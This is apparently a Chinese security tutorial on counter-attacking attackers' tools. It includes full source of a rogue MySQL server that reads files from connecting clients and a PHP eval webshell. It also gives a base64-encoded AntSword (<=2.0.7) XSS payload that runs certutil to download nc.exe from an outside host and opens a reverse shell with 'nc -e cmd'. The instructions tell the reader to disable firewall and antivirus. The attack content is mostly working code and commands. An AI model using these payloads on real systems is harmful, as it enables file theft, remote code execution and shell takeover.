反制mysql客户端 exp_dicc.py
import socketimport osimport sysfrom pathlib import Pathimport platformclass MySQLFileReader : def __init__ (self, port ): self.port = port self.sv = socket.socket() self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) self.sv.bind(("" , port)) self.sv.listen(5 ) def mysql_get_file_content (self, filename ): conn, address = self.sv.accept() print (f"收到连接: {address[0 ]} " ) logpath = os.path.abspath('.' ) + "/log/" + address[0 ] if not os.path.exists(logpath): os.makedirs(logpath) server_version = b"\x0a\x35\x2e\x35\x2e\x35\x33" if platform.system() == "Linux" : server_version = b"\x0a\x35\x2e\x37\x2e\x32\x39" conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" ) conn.recv(9999 ) conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" ) conn.recv(9999 ) wantfile = (len (filename) + 1 ).to_bytes(1 , 'big' ) + b"\x00\x00\x01\xFB" + filename.encode() conn.sendall(wantfile) content = conn.recv(9999 ) conn.close() if len (content) > 4 : content_str = content.decode() with open (logpath + "/" + Path(filename).name, "w" ) as txt: txt.write(content_str) print (f"文件内容: \n{content_str} " ) return True else : return False def read_files_from_input (self ): print (f"已在 {self.port} 端口启用MySQL蜜罐" ) while True : filename = input ("请输入接下来你想读的文件名 (直接按回车退出): " ) if filename == "" : break res = self.mysql_get_file_content(filename) if res: print (f"文件已保存 ---> {filename} " ) else : print (f"文件未找到 ---> {filename} " ) def read_files_from_dict (self, dict_file ): print (f"已在 {self.port} 端口启用MySQL蜜罐" ) with open (dict_file) as dicc: for line in dicc.readlines(): line = line.strip("\n" ) res = self.mysql_get_file_content(line) if res: print (f"文件已保存 ---> {line} " ) else : print (f"文件未找到 ---> {line} " ) if __name__ == "__main__" : port = int (input ("请输入监听端口号: " )) mode = input (''' 请选择读取模式: 【1】从输入读取文件 ''' ) mysql_file_reader = MySQLFileReader(port) if mode == '1' : mysql_file_reader.read_files_from_input() else : print ("无效的模式选择,请重新运行程序并输入正确的模式。" )
在exp_dicc.py文件所在的目录下打开cmd
python exp_dicc.py #设置监听端口3306 #设置读取模式,这里选1 ,输入读取文件的路径 C:/windows /win.ini
接下来使用Navicat连接Mysql蜜罐
点击之后,我们发现我们的cmd上显示了如下
反制蚁剑低版本 我们首先在自己的虚拟机上搭建相关网站,如下图所示
在网站根目录下写下一句话木马,命名为aaa.php
<?php eval ($_REQUEST [6 ]); ?>
测试一句话木马是否生效,如下所示,输入?6=phpinfo();
,出现如下页面则代表成功
我们在主机上安装好我们的antsword漏洞版本,即版本号<=2.0.7,我们用蚁剑进行连接,密码为6
我们开始进行反制,将aaa.php中的代码换成如下
<? PHPheader ("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=`,`base64`).toString())'>" );?>
其中base64编码部分为
const { exec } = require('child_process'); exec('calc');
即使计算机进行计算器进程,这串php即让计算机自动弹出计算器,实现任意代码执行
通过双击蚁剑,我们可以执行计算机弹出的命令,如下图所示
反弹shell 我们首先将nc.exe
放在我们搭建的网站下,我们在网站下再创建一个文件夹为1111
,并把nc.exe
放在该文件夹下,如下图所示
我们在虚拟机上开启nc
监听8888
端口,执行命令nc -lvp 8888
,如下图所示
我们想要我们的主机主动出网,把控制权交给我们的虚拟机,就要想办法让我们的主机主动执行nc -e cmd 192.168.153.142 8888
,把cmd权主动交给我们的虚拟机(192.168.153.142),当然首先我们要让我们的主机上也有nc.exe
,即感染这个病毒文件,所以我们还需要让我们的主机自己访问http://www.powdersnow.com/1111/nc.exe
文件,实现自动下载nc.exe
文件到我们的主机上,所以我们要构造的payload为
certutil -urlcache -split -f http://www.powdersnow.com/1111/nc.exe & nc -e cmd 192.168.153.142 8888
这就可以联想到我们的第二个实验了,下面是第二个实验的后门代码
<? PHPheader ("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=`,`base64`).toString())'>" );?>
将Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=
拿去base64解密,得到
const { exec } = require ('child_process' );exec ('calc' );
我们将certutil -urlcache -split -f http://www.powdersnow.com/1111/nc.exe & nc -e cmd 192.168.153.142 8888
替换calc
,得到如下的payload
const { exec } = require ('child_process' );exec ('certutil -urlcache -split -f http://www.powdersnow.com/1111/nc.exe & nc -e cmd 192.168.153.142 8888' );
拿去base64加密,替换原来的base64编码,得到payload如下,我们将payload重新放在aaa.php中,如下图所示,值得我们注意的是,由于nc.exe
是病毒软件,所以我们要关闭我们的防火墙,退出杀毒软件,才能保证实验的成功
<? PHPheader ("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NlcnR1dGlsIC11cmxjYWNoZSAtc3BsaXQgLWYgaHR0cDovL3d3dy5wb3dkZXJzbm93LmNvbS8xMTExL25jLmV4ZSAmIG5jIC1lIGNtZCAxOTIuMTY4LjE1My4xNDIgODg4OCcpOw==`,`base64`).toString())'>" );?>
我们保存后再次访问我们的蚁剑,这个时候看我们的监听端口,可以发现已经getshell了
成功反弹shell